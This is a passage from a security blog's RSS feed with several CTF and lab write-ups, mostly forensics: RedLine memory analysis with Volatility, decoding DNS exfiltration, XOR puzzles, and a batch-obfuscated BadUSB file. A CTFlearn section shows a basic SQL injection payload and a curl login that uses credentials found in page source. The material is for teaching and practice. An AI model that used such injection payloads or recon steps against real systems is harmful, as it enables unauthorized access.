</content:encoded></item><item><title>RedLine Cyberdefenders Lab Writeup</title><link>https://ssumix.vercel.app/posts/labs/cyberdefenders/redline/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/labs/cyberdefenders/redline/</guid><description>A detailed writeup for RedLine lab on Cyberdefenders</description><pubDate>Sat, 30 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Lab scenario:&lt;/strong&gt; As a member of the Security Blue team, your assignment is to analyze a memory dump using Redline and Volatility tools. Your goal is to trace the steps taken by the attacker on the compromised machine and determine how they managed to bypass the Network Intrusion Detection System (NIDS). Your investigation will identify the specific malware family employed in the attack and its characteristics. Additionally, your task is to identify and mitigate any traces or footprints left by the attacker.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Q1: What is the name of the suspicious process?&lt;/h3&gt;
&lt;p&gt;I first listed all processes by the &lt;code&gt;pslist&lt;/code&gt; plugin in Volatility 3:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vol -f MemoryDump windows.pslist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And from all processes, one process caught my eye:
&lt;img src=&quot;./redline1.png&quot; alt=&quot;&quot; /&gt;
It didn&apos;t resemble a standard Windows process or any legitimate application I recognized, and after researching the process name, my suspicions were confirmed:
&lt;img src=&quot;./redline2.png&quot; alt=&quot;&quot; /&gt;
&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;oneetx.exe&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q2: What is the child process name of the suspicious process?&lt;/h3&gt;
&lt;p&gt;To get the child process name I used the &lt;code&gt;pstree&lt;/code&gt; plugin to see relations between processes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vol -f MemoryDump windows.pstree
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And from &lt;code&gt;pstree&lt;/code&gt; &apos;s output, it&apos;s clear that the child process of the malicious process &lt;code&gt;oneetx.exe&lt;/code&gt; is &lt;code&gt;rundll32.exe&lt;/code&gt;:
&lt;img src=&quot;./redline3.png&quot; alt=&quot;&quot; /&gt;
&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;rundll32.exe&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q3: What is the memory protection applied to the suspicious process memory region?&lt;/h3&gt;
&lt;p&gt;Protection method can be found by &lt;code&gt;malfind&lt;/code&gt; plugin that helps find hidden or injected code/DLLs in user-mode memory, based on characteristics such as VAD tag and page permissions:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vol -f MemoryDump windows.malfind
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./redline4.png&quot; alt=&quot;&quot; /&gt;
&lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt; in the protection field means that the process has all permissions: read, write, and execute, which are needed for the malware to do its job&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q4: What is the name of the process responsible for the VPN connection?&lt;/h3&gt;
&lt;p&gt;To check network connections made by the device, I used the &lt;code&gt;netscan&lt;/code&gt; plugin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vol -f MemoryDump windows.netscan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And found nothing really interesting in the connections other than some connections made by the malicious file &lt;code&gt;oneetx.exe&lt;/code&gt;, but after examining the output more carefully, I noticed several suspicious connections:
&lt;img src=&quot;./redline5.png&quot; alt=&quot;&quot; /&gt;
After a bit of research, I found out that they were actually related to VPN services:
&lt;img src=&quot;./redline6.png&quot; alt=&quot;&quot; /&gt;
So I looked up its PID in &lt;code&gt;pstree&lt;/code&gt;&apos;s output to see which process it belonged to:
&lt;img src=&quot;./redline7.png&quot; alt=&quot;&quot; /&gt;
And we can clearly see that it is a child process of &lt;code&gt;Outline.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;Outline.exe&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q5: What is the attacker&apos;s IP address?&lt;/h3&gt;
&lt;p&gt;If we go back to &lt;code&gt;netscan&lt;/code&gt; &apos;s output we&apos;ll find the attacker&apos;s IP in the connection made by the malicious process &lt;code&gt;oneetx.exe&lt;/code&gt;:
&lt;img src=&quot;./redline8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;77.91.124.20&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q6: What is the full URL of the PHP file that the attacker visited?&lt;/h3&gt;
&lt;p&gt;I used &lt;code&gt;strings&lt;/code&gt; on the memory dump and filtered out for php using &lt;code&gt;grep&lt;/code&gt; but the output was huge, so instead I filtered out the output for the attacker&apos;s IP address
&lt;img src=&quot;./redline9.png&quot; alt=&quot;&quot; /&gt;
And the output revealed the full URL visited by the attacker!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;http://77.91.124.20/store/games/index.php&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q7: What is the full path of the malicious executable?&lt;/h3&gt;
&lt;p&gt;To get the full path of &lt;code&gt;oneetx.exe&lt;/code&gt; I just used &lt;code&gt;strings&lt;/code&gt; again on our memory dump and grepped the executable&apos;s name:
&lt;img src=&quot;./redline10.png&quot; alt=&quot;&quot; /&gt;
Other approaches would be dumping the process, or using the &lt;code&gt;filescan&lt;/code&gt; plugin to get the file path&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;C:\Users\Tammam\AppData\Local\Temp\c3912af058\oneetx.exe&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;And that was all, don&apos;t forget to check my other writeups!&lt;/p&gt;
&lt;p&gt;Hope you enjoyed &amp;lt;3&lt;/p&gt;
</content:encoded></item><item><title>FahemSec CTF Challenges Write-up</title><link>https://ssumix.vercel.app/posts/fahemsec/writeup/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/fahemsec/writeup/</guid><description>In this write-up, I will cover the FahemSec CTF Challenges I managed to solve including DFIR, Crypto, and Miscellaneous challenges.</description><pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In this write-up, I will cover the FahemSec CTF Challenges I managed to solve including DFIR, Crypto, and Miscellaneous challenges. During the CTF, I had great progress in the disk forensics challenges but then went to sleep &amp;gt;-&amp;lt;  I&apos;ll still include them in the write-up though&lt;/p&gt;
&lt;p&gt;Anyways, Let&apos;s dive-in!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Case 101 Part. 1: DFIR&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; No screenshots were saved, something from the last session might still remain on the disk.&lt;/p&gt;
&lt;p&gt;After initial investigations for the provided &lt;code&gt;.csv&lt;/code&gt; files and the provided C dump, I noticed multiple indications of RDP attempts, and confirmed that after checking this path:
&lt;code&gt;C\Users\T3M0\AppData\Local\Microsoft\TerminalServerClient\Cache&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And finding an RDP BMP snippets dump:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./case1.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I referred back to the challenge&apos;s description, this makes sense as this dump contains tiny screenshots of the RDP screen&lt;/p&gt;
&lt;p&gt;Then I extracted the BMPs put of the bin file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(ssumix㉿VICTUS)-[/mnt/s/DFIR/CTFs/fahem]
└─$ bmc-tools -s &quot;Cache0000.bin&quot; -d &quot;output&quot; -b
[+++] Processing a single file: &apos;Cache0000.bin&apos;.
[+++] Processing a file: &apos;Cache0000.bin&apos;.
[===] 1143 tiles successfully extracted in the end.
[===] Successfully exported 1143 files.
[===] Successfully exported collage file.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then I checked the output, and found lotsss of tiny sniplets, so to put them together I used &lt;code&gt;RdpCacheStitcher&lt;/code&gt;, and manually rearranged the flag parts to get the final flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./case2.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Case 101 Part. 2: DFIR&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; The archive opens, the data does not. What you recovered earlier is still relevant.&lt;/p&gt;
&lt;p&gt;Ok so during my initial investigations in the last challenge I did notice a password-protected archive and tried to brute-force its password but this didn&apos;t work. Thats because the archive&apos;s password was in the recovered BMPs from the first part:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./case3.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I extracted the flag2.txt file from the archive and the flag seemed encrypted:
&lt;code&gt;aU5+VVBC8Ilgs16uS1MUj8JPGqL4hvJGpVb5qRtzy9pPgDSe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And after some &lt;em&gt;really&lt;/em&gt; good research and confusion with an AI buddy I figured out it was a Base64 encoded RC4 stream cipher that was encrypted with the key we found earlier&lt;/p&gt;
&lt;p&gt;So yeah I just used &lt;a href=&quot;https://gchq.github.io/CyberChef/&quot;&gt;CyberChef&lt;/a&gt; to decrypt the flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./case4.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;MyData: DFIR&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Can you get the data ?&lt;/p&gt;
&lt;p&gt;After opening the pcap in &lt;code&gt;Wireshark&lt;/code&gt; and filtering for DNS traffic I immediately noticed something suspicious; a high volume of DNS queries to &lt;code&gt;fahemsec.com&lt;/code&gt;, each with a different short subdomain that looks like a hex string:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;4661.fahemsec.com 
6865.fahemsec.com 
6d53.fahemsec.com 
6563.fahemsec.com 
7b44.fahemsec.com 
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a textbook DNS Exfiltration signature; the attacker broke their payload into hex chunks and encoded each one as a subdomain label in outbound DNS queries, and since most networks freely allow outbound DNS, this technique can silently bypass firewalls and DLP solutions.&lt;/p&gt;
&lt;p&gt;I used &lt;code&gt;tshark&lt;/code&gt; to filter for DNS requests only (&lt;code&gt;dns.flags.response == 0&lt;/code&gt;), target our domain, and carve out just the subdomain portion:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tshark -r data.pcapng \ 
-Y &apos;dns.flags.response == 0 &amp;amp;&amp;amp; dns.qry.name contains &quot;fahemsec.com&quot;&apos; \ 
-T fields -e dns.qry.name \ 
| awk -F. &apos;{print $1}&apos; \ 
| awk &apos;!seen[$0]++&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output was:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;4661 6865 6d53 6563 7b44 4e53 5f45 7866 696c 7472 6174 696f 6e5f 3173 5f52 3361 6c7d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then I quickly decoded the hex sequence using python:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hex_data = [
    &quot;4661&quot;, &quot;6865&quot;, &quot;6d53&quot;, &quot;6563&quot;, &quot;7b44&quot;, &quot;4e53&quot;, &quot;5f45&quot;, &quot;7866&quot;,
    &quot;696c&quot;, &quot;7472&quot;, &quot;6174&quot;, &quot;696f&quot;, &quot;6e5f&quot;, &quot;3173&quot;, &quot;5f52&quot;, &quot;3361&quot;, &quot;6c7d&quot;
]

flag = &quot;&quot;.join(bytes.fromhex(h).decode(&apos;ascii&apos;) for h in hex_data)
print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the final flag was: &lt;code&gt;FahemSec{DNS_Exfiltration_1s_R3al}&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Plane: DFIR&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Some protocols are more transparent than they appear.&lt;/p&gt;
&lt;p&gt;After going through the pcap in &lt;code&gt;Wireshark&lt;/code&gt;, I noticed alot of failed &lt;code&gt;GET&lt;/code&gt; requests, with admin credentials in the headers, and it seamed like a brute-force attack. So my first step was to filter for the successful requests by using this filter: &lt;code&gt;http.response.code == 200&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./plane1.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And after following the &lt;code&gt;HTTP&lt;/code&gt; stream I found the flag in the successful &lt;code&gt;GET&lt;/code&gt; request&apos;s header!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./plane2.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Top Secret: DFIR&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Can you get my secret from these packets?&lt;/p&gt;
&lt;p&gt;I opened the file in Wireshark and started scrolling through the packets, and the first thing that caught my eye was at the bottom of the capture. The traffic ends with a flood of repeated unanswered ARP requests:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;VMware_c0:00:08  →  ARP  &quot;Who has 192.168.44.2? Tell 192.168.44.1&quot;
VMware_c0:00:08  →  ARP  &quot;Who has 192.168.44.2? Tell 192.168.44.1&quot;
VMware_c0:00:08  →  ARP  &quot;Who has 192.168.44.2? Tell 192.168.44.1&quot;
(no reply...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ARP is how devices on a local network find each other. The repeated requests with no answer means &lt;code&gt;192.168.44.2&lt;/code&gt; went offline or disconnected. But more importantly, this told me the environment: a local VMware network on the &lt;code&gt;192.168.44.x&lt;/code&gt; subnet, with &lt;code&gt;192.168.44.147&lt;/code&gt; being the only active host worth focusing on.&lt;/p&gt;
&lt;p&gt;With the local IP identified, I filtered traffic to and from that machine:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http &amp;amp;&amp;amp; ip.addr == 192.168.44.147
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The filtering immediately showed two things happening:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First, sequential &lt;code&gt;GET /user/22&lt;/code&gt;, &lt;code&gt;/user/23&lt;/code&gt;, &lt;code&gt;/user/24&lt;/code&gt;, &lt;code&gt;/user/25&lt;/code&gt; requests against a JSON API on port 9090 (IDOR enumeration by an automated tool).&lt;/li&gt;
&lt;li&gt;Second, further down, a &lt;code&gt;GET /Finance_intro.pdf HTTP/1.1&lt;/code&gt; request followed immediately by a &lt;code&gt;200 OK (application/pdf)&lt;/code&gt; response. That&apos;s the file transfer we care about :3&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Wireshark can reconstruct files from HTTP traffic automatically. I went to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;File → Export Objects → HTTP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Finance_intro.pdf&lt;/code&gt; appeared in the list. I saved it, we now have the actual file that was transferred, which had the flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./secret.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Decoder: Crypto&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./cipher.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We were asked to decode this photo, and after some reverse image search I found that this was an alphabet called &quot;Pokémon Go Unknown&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cipher2.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So I decoded the text according to this alphabet and the final flag was &lt;code&gt;EASYFLAGLEET&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;oneROX: Crypto&lt;/h2&gt;
&lt;p&gt;The chall&apos;s name indicates that it&apos;s a single-byte XOR challenge, so I just made a quick script that brute-forces the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cipher_hex = &quot;63425948170d6b4c4548407e484e561515181a1a1b1f4c4e1a4c48494f494f4e1e1449481a1a484c1a1d1a181518155027&quot;

cipher = bytes.fromhex(cipher_hex)

for key in range(256):
    decrypted = bytes([b ^ key for b in cipher])
    try:
        text = decrypted.decode(errors=&quot;ignore&quot;)
        if &quot;FahemSec{&quot; in text:
            print(f&quot;[+] Key found: {key} (0x{key:02x})&quot;)
            print(text)
            break
    except:
        continue
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and found the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[+] Key found: 45 (0x2d)
Note: FahemSec{8857762ac7aedbdbc39de77ea7075858}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Rookie: Misc&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; While Developing our platform on the early stage we wanted to test admin panel in production without being crawled by bots online , so our developer suggested to use a very random subdomain name to avoid that, seems he was a rookie !&lt;/p&gt;
&lt;p&gt;Okay so after some research I found alot of tools that can get the subdomains of a given domain, so I just used &lt;a href=&quot;https://crt.sh/&quot;&gt;this one&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(ssumix㉿VICTUS)-[~]
└─$ curl &quot;https://crt.sh/?q=%25.fahemsec.com&amp;amp;output=json&quot; | grep admin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And found the subdomain &lt;code&gt;admin-portal-09c097fa23&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;So final flag becomes:
&lt;code&gt;FahemSec{admin-portal-09c097fa23}&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;And yeah that was all, hope you had fun reading this writeup! :&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>0xFun CTF Challenges Write-up</title><link>https://ssumix.vercel.app/posts/0xfun/writeup/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/0xfun/writeup/</guid><description>A writeup for the 0xFun CTF Challenges I managed to solve</description><pubDate>Sun, 15 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Ghost: Forensics&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; The interception of a transmission has occurred, with only a network capture remaining. Recover the flag before the trail goes cold. (The challenge was updated with different files during the CTF)&lt;/p&gt;
&lt;p&gt;We were given a PNG file &lt;code&gt;wallpaper.png&lt;/code&gt;, so I made my initial examinations:&lt;br /&gt;
&lt;img src=&quot;./ghost1.png&quot; alt=&quot;Initial Examination&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed the &lt;code&gt;Trailer data after PNG IEND chunk&lt;/code&gt; warning in &lt;code&gt;exiftool&lt;/code&gt;&apos;s output, which indicated that there&apos;s either embedded files or steganography. My next step was examining the file for stego:&lt;br /&gt;
&lt;img src=&quot;./ghost2.png&quot; alt=&quot;Stego Detection&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;zsteg&lt;/code&gt;&apos;s output made it obvious that there&apos;s an embedded 7z archive in this image, so I used &lt;code&gt;binwalk&lt;/code&gt; to extract it:&lt;br /&gt;
&lt;img src=&quot;./ghost3.png&quot; alt=&quot;Binwalk Extraction&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I extracted the archive using 7z, but was asked for a password:&lt;br /&gt;
&lt;img src=&quot;./ghost4.png&quot; alt=&quot;7z Password&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I had noticed earlier that the image had this weird text &lt;code&gt;1n73rc3p7_c0nf1rm3d&lt;/code&gt;, and I kept it noted to be used later. The most logical approach was to try it as the password, and it was correct!&lt;/p&gt;
&lt;p&gt;Then I moved to the &lt;code&gt;/fishwithwater&lt;/code&gt; directory, and the flag was there in a file named &lt;code&gt;nothing.txt&lt;/code&gt;:&lt;br /&gt;
&lt;img src=&quot;./ghost5.png&quot; alt=&quot;Flag Found&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Kd: Forensics&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Something crashed. Something was left behind.&lt;/p&gt;
&lt;p&gt;We were given these files:&lt;br /&gt;
&lt;img src=&quot;./kd1.png&quot; alt=&quot;Kd Files&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I first examined the &lt;code&gt;crypter.dmp&lt;/code&gt;, which seemed to be a &lt;strong&gt;Windows MiniDump&lt;/strong&gt; file. It contains the application’s memory data at the moment it crashed, as the description indicates.&lt;/p&gt;
&lt;p&gt;My first step was checking any text in this file using &lt;code&gt;strings&lt;/code&gt; and grepping the flag format &lt;code&gt;0xfun&lt;/code&gt;, which surprisingly showed the flag (unintended solution):&lt;br /&gt;
&lt;img src=&quot;./kd2.png&quot; alt=&quot;Flag Found via Strings&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Tesla: Forensics&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; Flipper Zero, often referred to as a hacking device, is designed to capture frequencies and execute commands. It&apos;s considered a risky tool to have, as it is illegal in some countries. Perfect. We’ll keep the same flow and just naturally include the script where it fits — like you actually used it while solving.&lt;/p&gt;
&lt;p&gt;We were given a file named &lt;code&gt;Tesla.sub&lt;/code&gt;, and since &lt;code&gt;.sub&lt;/code&gt; files are usually related to Flipper Zero Sub-GHz captures, I initially assumed this would involve analyzing RF data or decoding some captured transmission.&lt;/p&gt;
&lt;p&gt;I started with basic inspection:&lt;br /&gt;
&lt;img src=&quot;./tesla1.png&quot; alt=&quot;Tesla Initial Inspection&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It turned out to be ASCII text, which was unusual because real RAW Sub-GHz captures normally contain timing values, not clean binary-looking text. I opened the file and saw:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Filetype: BadUsb 0xfun
Version: 1
Frequency: 433920000
Protocol: RAW
RAW_Data: 11111111 11111110 00100110 ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;RAW_Data&lt;/code&gt; section consisted entirely of 8-bit binary values separated by spaces. Instead of treating it as radio data, I extracted the RAW values and converted each 8-bit chunk to ASCII. The result wasn’t signal data; it was a Windows batch script!&lt;/p&gt;
&lt;p&gt;Inside the decoded content, I saw:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;set &quot;Il�c=pesbMUQl73oWnqD9rAvFRKZaf0hO5@dBN4uSzCtGjE YxITwXiVm1Jcgy26LkH8P&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Followed by patterns like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%IlXc:~29,1%
%IlXc:~1,1%
%IlXc:~54,1%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a classic batch obfuscation method. In Windows batch:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%variable:~start,length%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Extracts a substring, so the script defines a long string and rebuilds another command character by character using specific indexes.&lt;/p&gt;
&lt;p&gt;Instead of manually resolving every index, I parsed the offsets and reconstructed the hidden string, which revealed a long hex string:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;5958051a1b170013520746265a0e51435b36165752470b7f03591d1b364b501608616e
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I converted it from hex to ASCII directly, but it was unreadable (clearly encrypted).&lt;/p&gt;
&lt;p&gt;So I went back to the batch script and looked carefully; there were readable phrases inside it, including:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;i could be something to this
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I immediately thought that this could be the key used in XORing this hex string. Here’s the script I used:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hex_str = &quot;5958051a1b170013520746265a0e51435b36165752470b7f03591d1b364b501608616e&quot;

cipher = bytes.fromhex(hex_str)
key = b&quot;i could be something to this&quot;

result = bytearray()

for i in range(len(cipher)):
    result.append(cipher[i] ^ key[i % len(key)])

print(result.decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After running it, the output was clean ASCII and revealed the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0xfun{d30bfU5c473_x0r3d_w1th_k3y}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Nothing Expected: Forensics&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; None&lt;/p&gt;
&lt;p&gt;We were given a PNG file, so I did my initial investigations:&lt;br /&gt;
&lt;img src=&quot;./nth1.png&quot; alt=&quot;Nothing Expected PNG&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed the &lt;code&gt;Applicationvndexcalidrawjson&lt;/code&gt; output in the photo&apos;s meta-data, which is basically the internal JSON format that &lt;a href=&quot;https://excalidraw.com/&quot;&gt;Excalidraw&lt;/a&gt; uses to save its drawings. I imported the given photo and got the flag:&lt;br /&gt;
&lt;img src=&quot;./nth2.png&quot; alt=&quot;Excalidraw Flag&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;DTMF: Forensics&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; None&lt;/p&gt;
&lt;p&gt;We were given a &lt;code&gt;.wav&lt;/code&gt; file. After listening to it and considering the challenge&apos;s name, it was clear that it was a DTMF message. I decoded it using an online &lt;a href=&quot;https://dtmf.netlify.app/&quot;&gt;DTMF decoder&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Decoded: 010011010100100001001010011101000101101000110010011100000011011101010110010010000101010101111000011000100101010001000110011001100101100101101010010100100110111101011000001100100110110001111010010110010111101001010110011001100110010001101101001101010011000001100011011011100011000000111101
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I converted this binary into ASCII and noticed that the output was Base64:&lt;br /&gt;
&lt;img src=&quot;./DTMF1.png&quot; alt=&quot;Binary to Base64&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After decoding Base64, I noticed the output was probably shifted characters (the 0 and {} of the flag format were there). I tried all possible Caesar Cipher rotations, but none worked.
&lt;img src=&quot;./DTMF2.png&quot; alt=&quot;Encrypted flag&quot; /&gt;
My next option was Vigenère Cipher, but the key was unknown. Instead of brute-forcing, I rechecked the file for hidden text using &lt;code&gt;exiftool&lt;/code&gt;:&lt;br /&gt;
&lt;img src=&quot;./DTMF3.png&quot; alt=&quot;Exiftool Hidden Key&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed a weird comment, which I used as a key, and it worked!&lt;br /&gt;
&lt;img src=&quot;./DTMF4.png&quot; alt=&quot;Flag Revealed&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;And that was all. Don’t forget to check my other write-ups!&lt;/p&gt;
</content:encoded></item><item><title>CTFlearn Web Challenges Write-up</title><link>https://ssumix.vercel.app/posts/ctflearn/web/web-ctflearn-write-up/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/ctflearn/web/web-ctflearn-write-up/</guid><description>My solutions for several web exploitation challenges on CTFlearn.com.</description><pubDate>Sat, 06 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Basic Injection: Easy&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; See if you can leak the whole database using what you know about SQL Injections. &lt;a href=&quot;https://web.ctflearn.com/web4/&quot;&gt;link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The challenge provided the original SQL query that shows the result, which was &lt;code&gt;SELECT * FROM webfour.webfour where name = &apos;$input&apos;&lt;/code&gt;. This query takes the user&apos;s input and checks it in its database for a matching name.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./basic_inj_1.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So, I tried injecting &lt;code&gt;&apos; OR &apos;1&apos; = &apos;1&lt;/code&gt; and it dumped the database, showing the flag!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./basic_inj_2.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;POST Practice: Medium&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; This website requires authentication, via POST. However, it seems as if someone has defaced our site. Maybe there is still some way to authenticate?&lt;br /&gt;
http://165.227.106.113/post.php&lt;/p&gt;
&lt;p&gt;After checking the website, I found some credentials in the source code&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./post1.png&quot; alt=&quot;screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So my first thought was sending a post request using &lt;code&gt;curl&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST http://165.227.106.113/post.php -d &quot;username=admin&amp;amp;password=71urlkufpsdnlkadsf&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and got the flag!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;flag{p0st_d4t4_4ll_d4y}&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
